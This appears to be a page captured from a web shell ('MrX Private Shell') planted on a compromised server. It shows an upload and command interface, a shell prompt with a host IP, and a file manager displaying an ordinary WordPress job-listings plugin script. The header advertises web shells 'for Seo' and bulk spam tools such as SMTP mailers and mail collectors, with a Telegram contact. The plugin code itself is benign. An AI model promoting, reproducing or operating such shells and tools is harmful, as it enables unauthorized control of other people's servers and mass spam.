__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.122: ~ $
import $ from 'jquery';

'use strict';

jQuery(function($) { 
	var rootWrapperSelector = '.awsm-b-job-wrap';
	var wrapperSelector = '.awsm-b-job-listings';

	/* ========== Job Search and Filtering ========== */

	var filterSelector = '.awsm-b-filter-wrap';
	var currentUrl = window.location.protocol + '//' + window.location.host + window.location.pathname;
	var triggerFilter = true;

	function getListingsData($wrapper) { 
		var data = [];
		var parsedListingsAttrs = [ 'listings', 'specs', 'search', 'lang', 'taxonomy', 'termId' ];

		/* added for block */
		parsedListingsAttrs.push('awsm-layout');
		parsedListingsAttrs.push('awsm-hide-expired-jobs');
		parsedListingsAttrs.push('awsm-other-options');
		/* end */
		$(document).trigger('awsmJobBlockListingsData', [ parsedListingsAttrs ]);

		var dataAttrs = $wrapper.data();
		$.each(dataAttrs, function(dataAttr, value) { 
			if ($.inArray(dataAttr, parsedListingsAttrs) === -1) {
				data.push({
					name: dataAttr,
					value: value
				});
			}
		});
		return data;
	}

	function awsmJobFilters($rootWrapper) { 
		var $wrapper = $rootWrapper.find(wrapperSelector);
		var $filterForm = $rootWrapper.find(filterSelector + ' form');
		var formData = $filterForm.serializeArray();
		var listings = $wrapper.data('listings');
		var specs = $wrapper.data('specs');

		/* added for block */
		var layout 				= $wrapper.data('awsm-layout');
		var hide_expired_jobs   = $wrapper.data('awsm-hide-expired-jobs'); 
		var other_options 		= $wrapper.data('awsm-other-options'); 
		/* end */

		$rootWrapper.find('.awsm-b-filter-item').each(function() {
			var currentLoopSpec = $(this).data('filter');
			var searchParams = new URLSearchParams(document.location.search);
			var currentSpecQueryVal = searchParams.get(currentLoopSpec); 
			var $currentOption = $(this).find('.awsm-b-filter-option');
			
			if ($currentOption.val().length === 0 && currentSpecQueryVal && currentSpecQueryVal.length > 0) {
				formData.forEach(function(item) {
					if (item.name === $currentOption.attr('name')) {
						item.value = '-1';
					}
				});
			}
		});

		formData.push({
			name: 'listings_per_page',
			value: listings
		});
		if (typeof specs !== 'undefined') {
			formData.push({
				name: 'shortcode_specs',
				value: specs
			});
		}

		/* added for block */
		if (typeof layout !== 'undefined') {
			formData.push({
				name: 'awsm-layout',
				value: layout
			});
		}

		if (typeof hide_expired_jobs !== 'undefined') {
			formData.push({
				name: 'awsm-hide-expired-jobs',
				value: hide_expired_jobs
			});
		}

		if (typeof other_options !== 'undefined') {
			formData.push({
				name: 'awsm-other-options',
				value: other_options
			});
		}
		/* end */

		var listingsData = getListingsData($wrapper);
		if (listingsData.length > 0) {
			formData = formData.concat(listingsData);
		}

		// Trigger custom event to provide formData
		$(document).trigger('awsmJobBlockFiltersFormData', [$wrapper,formData]);

		if (triggerFilter) {

			// stop the duplicate requests.
			triggerFilter = false;

			// now, make the request.
			$.ajax({
				url: $filterForm.attr('action'),
				beforeSend: function() { 
					$wrapper.addClass('awsm-b-jobs-loading');
				},
				data: formData,
				type: $filterForm.attr('method')
			}).done(function(data) {
				$wrapper.html(data);
				var $searchControl = $rootWrapper.find('.awsm-b-job-search');
				if ($searchControl.length > 0) {
					if ($searchControl.val().length > 0) {
						$rootWrapper.find('.awsm-b-job-search-btn').addClass('awsm-b-job-hide');
						$rootWrapper.find('.awsm-b-job-search-close-btn').removeClass('awsm-b-job-hide');
					} else {
						$rootWrapper.find('.awsm-b-job-search-btn').removeClass('awsm-b-job-hide');
					}
				}
				$(document).trigger('awsmjobs_filtered_listings', [ $rootWrapper, data ]);
			}).fail(function(xhr) {
				// eslint-disable-next-line no-console
				console.log(xhr);
			}).always(function() { 
				$wrapper.removeClass('awsm-b-jobs-loading');
				triggerFilter = true;
			});
		}
	}

	function filterCheck($filterForm) {
		var check = false;
		if ($filterForm.length > 0) {
			var $filterOption = $filterForm.find('.awsm-b-filter-option');
			$filterOption.each(function() {
				if ($(this).val().length > 0) {
					check = true;
				}
			});
		}
		return check;
	}

	function searchJobs($elem) {
		var $rootWrapper = $elem.parents(rootWrapperSelector);
		var searchQuery = $rootWrapper.find('.awsm-b-job-search').val();
		$rootWrapper.find(wrapperSelector).data('search', searchQuery);
		if (searchQuery.length === 0) {
			$rootWrapper.find('.awsm-b-job-search-icon-wrapper').addClass('awsm-b-job-hide');
		}
		setPaginationBase($rootWrapper, 'jq', searchQuery);
		if (awsmJobsPublic.deep_linking.search) {
			var $paginationBase = $rootWrapper.find('input[name="awsm_pagination_base"]');
			updateQuery('jq', searchQuery, $paginationBase.val());
		}
		awsmJobFilters($rootWrapper);
	}

	var updateQuery = function(key, value, url) {
		url = typeof url !== 'undefined' ? url : currentUrl;
		url = url.split('?')[0];
		var searchParams = new URLSearchParams(document.location.search);
		if (searchParams.has('paged')) {
			searchParams.delete('paged');
		}
		if (searchParams.has('page')) {
			searchParams.delete('page');
		}
		value = value !== undefined && value !== null ? String(value) : '';

		if (value !== '') {
			searchParams.set(key, value);
		} else {
			searchParams.delete(key);
		}
		var modQueryString = searchParams.toString();
		if (modQueryString.length > 0) {
			modQueryString = '?' + modQueryString;
		}
		window.history.replaceState({}, '', url + modQueryString);
	};
	
	var setPaginationBase = function($rootWrapper, key, value) {
		var $paginationBase = $rootWrapper.find('input[name="awsm_pagination_base"]');
		if ($paginationBase.length > 0) {
			var splittedURL = $paginationBase.val().split('?');
			var queryString = '';
			if (splittedURL.length > 1) {
				queryString = splittedURL[1];
			}
			var searchParams = new URLSearchParams(queryString);
			if (value.length > 0) {
				searchParams.set(key, value);
			} else {
				searchParams.delete(key);
			}
			$paginationBase.val(splittedURL[0] + '?' + searchParams.toString());
			$rootWrapper.find('input[name="paged"]').val(1);
		}
	};

	if ( $( '.awsm-b-job-no-more-jobs-get' ).length > 0 ) {
		$( '.awsm-b-job-listings' ).hide();
		$( '.awsm-b-job-no-more-jobs-get' ).slice( 1 ).hide();
	}

	$(filterSelector + ' .awsm-b-filter-option').on('change', function(e) { 
		e.preventDefault();
		$('.awsm-b-job-listings').show();
		var $elem = $(this);
		var $selected = $elem.find('option:selected');
		var $rootWrapper = $elem.parents(rootWrapperSelector);
		var currentSpec = $elem.parents('.awsm-b-filter-item').data('filter');
		var slug = $selected.data('slug');
		slug = typeof slug !== 'undefined' ? slug : '';

		if ($('.awsm-b-job-listings').length > 0) {
			$rootWrapper.find('.awsm-b-job-no-more-jobs-get').hide();
		}

		setPaginationBase($rootWrapper, currentSpec, slug);
		if (awsmJobsPublic.deep_linking.spec) {
			var $paginationBase = $rootWrapper.find('input[name="awsm_pagination_base"]');
			updateQuery(currentSpec, slug, $paginationBase.val());
		}
		awsmJobFilters($rootWrapper);
	});

	$(filterSelector + ' .awsm-b-job-search-btn').on('click', function() {
		searchJobs($(this));
	});

	$(filterSelector + ' .awsm-b-job-search-close-btn').on('click', function() {
		var $elem = $(this);
		$elem.parents(rootWrapperSelector).find('.awsm-b-job-search').val('');
		searchJobs($elem);
	});

	$(filterSelector + ' .awsm-b-job-search').on('keypress', function(e) {
		if (e.which == 13) {
			e.preventDefault();
			searchJobs($(this));
		}
	});

	/* ========== Job Listings Load More ========== */
	$(wrapperSelector).on('click', '.awsm-b-jobs-pagination .awsm-b-load-more-btn, .awsm-b-jobs-pagination a.page-numbers', function(e) {
		e.preventDefault(); 
		var $triggerElem = $(this);
		var isDefaultPagination = $triggerElem.hasClass('awsm-b-load-more-btn');
		var paged = 1;
		var wpData = [];
		var $mainContainer = $triggerElem.parents(rootWrapperSelector);
		var $listingsContainer = $mainContainer.find(wrapperSelector);
		var $paginationWrapper = $triggerElem.parents('.awsm-b-jobs-pagination');
		var listings = $listingsContainer.data('listings');
		var specs = $listingsContainer.data('specs');
		var lang = $listingsContainer.data('lang');
		var searchQuery = $listingsContainer.data('search');

		/* added for block */
		var layout = $listingsContainer.data('awsm-layout');
		var hide_expired_jobs = $listingsContainer.data('awsm-hide-expired-jobs');
		var other_options = $listingsContainer.data('awsm-other-options');
		/* end */

		if (isDefaultPagination) {
			$triggerElem.prop('disabled', true);
			paged = $triggerElem.data('page');
			paged = (typeof paged == 'undefined') ? 1 : paged;
		} else {
			//$triggerElem.parents('.page-numbers').find('.page-numbers').removeClass('current').removeAttr('aria-current');
			$paginationWrapper.find('.page-numbers').removeClass('current').removeAttr('aria-current');
			$triggerElem.addClass('current').attr('aria-current', 'page');
		}
		$paginationWrapper.addClass('awsm-b-jobs-pagination-loading');

		// filters
		var $filterForm = $mainContainer.find(filterSelector + ' form');
		if (filterCheck($filterForm)) {
			var $filterOption = $filterForm.find('.awsm-b-filter-option');
			wpData = $filterOption.serializeArray();
		}

		if (! isDefaultPagination) {
			var paginationBaseURL = $triggerElem.attr('href');
			var splittedURL = paginationBaseURL.split('?');
			var queryString = '';
			var isHomepage = window.awsmJobsPublic && awsmJobsPublic.is_homepage;
			var pageKey = isHomepage ? 'page' : 'paged';

			if (splittedURL.length > 1) {
				var searchParams = new URLSearchParams(splittedURL[1]);
				paged = searchParams.get(pageKey) || searchParams.get(pageKey === 'page' ? 'paged' : 'page');

				if (!paged) {
					paged = 1;
				}
				
				searchParams.delete('page');
				searchParams.delete('paged');
				
				if (searchParams.toString().length > 0) {
					queryString = '?' + searchParams.toString();
				}
			}else {
				var pageMatch = paginationBaseURL.match(/\/page\/(\d+)\/?/);
				if (pageMatch) {
					paged = pageMatch[1];
				} else {
					paged = 1;
				}
			}

			paginationBaseURL = splittedURL[0] + queryString;
			wpData.push({
				name: 'awsm_pagination_base',
				value: splittedURL[0] + queryString
			});
			if (awsmJobsPublic.deep_linking.pagination) {
				updateQuery(pageKey, paged, paginationBaseURL);
			}
		}

		// taxonomy archives
		if (awsmJobsPublic.is_tax_archive) {
			var taxonomy = $listingsContainer.data('taxonomy');
			var termId = $listingsContainer.data('termId');
			if (typeof taxonomy !== 'undefined' && typeof termId !== 'undefined') {
				wpData.push({
					name: 'awsm_job_spec[' + taxonomy + ']',
					value: termId
				});
			}
		}

		wpData.push({
			name: 'action',
			value: 'block_loadmore'
		}, {
			name: 'paged',
			value: paged
		});
		if (typeof listings !== 'undefined') {
			wpData.push({
				name: 'listings_per_page',
				value: listings
			});
		}
		if (typeof specs !== 'undefined') {
			wpData.push({
				name: 'shortcode_specs',
				value: specs
			});
		}

		/* added for block */
		if (typeof layout !== 'undefined') {
			wpData.push({
				name: 'awsm-layout',
				value: layout
			});
		}
		if (typeof hide_expired_jobs !== 'undefined') {
			wpData.push({
				name: 'awsm-hide-expired-jobs',
				value: hide_expired_jobs
			});
		}
		if (typeof other_options !== 'undefined') {
			wpData.push({
				name: 'awsm-other-options',
				value: other_options
			});
		}
		
		if (typeof lang !== 'undefined') {
			wpData.push({
				name: 'lang',
				value: lang
			});
		}
		if (typeof searchQuery !== 'undefined') {
			wpData.push({
				name: 'jq',
				value: searchQuery
			});
		}

		$(document).trigger('awsmjobs_block_load_more', [ $listingsContainer,wpData ]);
		var listingsData = getListingsData($listingsContainer);
		if (listingsData.length > 0) {
			wpData = wpData.concat(listingsData);
		}

		// now, handle ajax
		$.ajax({
			url: awsmJobsPublic.ajaxurl,
			data: $.param(wpData),
			type: 'POST',
			beforeSend: function() {
				if (isDefaultPagination) {
					$triggerElem.text(awsmJobsPublic.i18n.loading_text);
				} else {
					$listingsContainer.addClass('awsm-b-jobs-loading');
				}
			}
		}).done(function(data) {
			if (data) {
				var effectDuration = $paginationWrapper.data('effectDuration');
				$paginationWrapper.remove();
				if (isDefaultPagination) {
					$listingsContainer.append(data);
				} else {
					$listingsContainer.html(data);
					$listingsContainer.removeClass('awsm-b-jobs-loading');
					if (typeof effectDuration !== 'undefined') {
						effectDuration = isNaN(effectDuration) ? effectDuration : Number(effectDuration);
						$('html, body').animate({
							scrollTop: $mainContainer.offset().top - 25
						}, effectDuration);
					}
				}
			} else {
				$triggerElem.remove();
			}
			$(document).trigger('awsmjobs_load_more', [ $triggerElem, data ]);
		}).fail(function(xhr) {
			// eslint-disable-next-line no-console
			console.log(xhr);
		});
	});

	/**
	 * Handle the filters toggle button in the job listing.
	 */
	$(document).on('click', '.awsm-b-filter-toggle', function(e) {
		e.preventDefault();
		var $elem = $(this);
		$elem.toggleClass('awsm-on');
		if ($elem.hasClass('awsm-on')) {
			$elem.attr('aria-pressed', 'true');
		} else {
			$elem.attr('aria-pressed', 'false');
		}
		var $parent = $elem.parent();
		$parent.find('.awsm-b-filter-items').slideToggle();
	});

	/**
	 * Handle the responsive styles for filters in the job listing when search is enabled.
	 */
	function filtersResponsiveStylesHandler() {
		var $filtersWrap = $('.awsm-b-filter-wrap').not('.awsm-b-no-search-filter-wrap');
		$filtersWrap.each(function() {
			var $wrapper = $(this); 
			var filterFirstTop = $wrapper.find('.awsm-b-filter-item').first().offset().top;
			var filterLastTop = $wrapper.find('.awsm-b-filter-item').last().offset().top;
			if(window.innerWidth < 768) {
				$wrapper.removeClass('awsm-b-full-width-search-filter-wrap');
				return;
			}
			if (filterLastTop > filterFirstTop) {
				$wrapper.addClass('awsm-b-full-width-search-filter-wrap');
			}
		});
	}

	if ($('.awsm-b-filter-wrap').not('.awsm-b-no-search-filter-wrap').length > 0) {
		filtersResponsiveStylesHandler();
		$(window).on('resize', filtersResponsiveStylesHandler);
	}
});


Filemanager

Name Type Size Permission Actions
block.json File 1.16 KB 0644
edit.js File 4.79 KB 0644
editor.scss File 15.56 KB 0644
icon.js File 2.76 KB 0644
index.js File 1.51 KB 0644
inspector.js File 6.26 KB 0644
save.js File 740 B 0644
style.scss File 13.27 KB 0644
view.js File 14.15 KB 0644